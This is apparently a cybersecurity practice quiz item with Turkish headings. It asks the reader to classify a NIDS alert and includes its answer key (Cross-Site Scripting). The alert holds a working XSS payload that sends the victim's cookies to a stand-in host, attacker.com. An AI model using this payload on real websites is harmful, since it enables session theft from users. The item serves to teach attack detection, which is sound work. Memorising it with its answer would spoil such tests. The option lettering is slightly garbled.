A security analyst is examining a real-time alert generated by a Network Intrusion Detection System (NIDS). The alert payload captures an HTTP POST request sent from an internal corporate host to an external web application:
`POST /profile/update HTTP/1.1`
`Host: portal.example.com`
`Content-Type: application/x-www-form-urlencoded`
`Data: username=user1&bio=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>`
Based on the network security monitoring alert, which of the following attack types is occurring?
- Cross-Site Scripting (XSS)Cevap
- BSQL Injection (SQLi)
- CHoneypot decoy deflection
- DBuffer overflow attack
Cevap
The alert indicates a Cross-Site Scripting (XSS) attack because the payload contains HTML/JavaScript code designed to run client-side scripts and steal browser cookies.
The correct answer is Cross-Site Scripting (XSS). The captured payload contains script tags (`<script>`) designed to execute malicious JavaScript within a web browser context to exfiltrate session tokens via `document.cookie`.
Adım Adım Çözüm
Anahtar Kavram
Identifying attack signatures in NIDS/SIEM network monitoring logs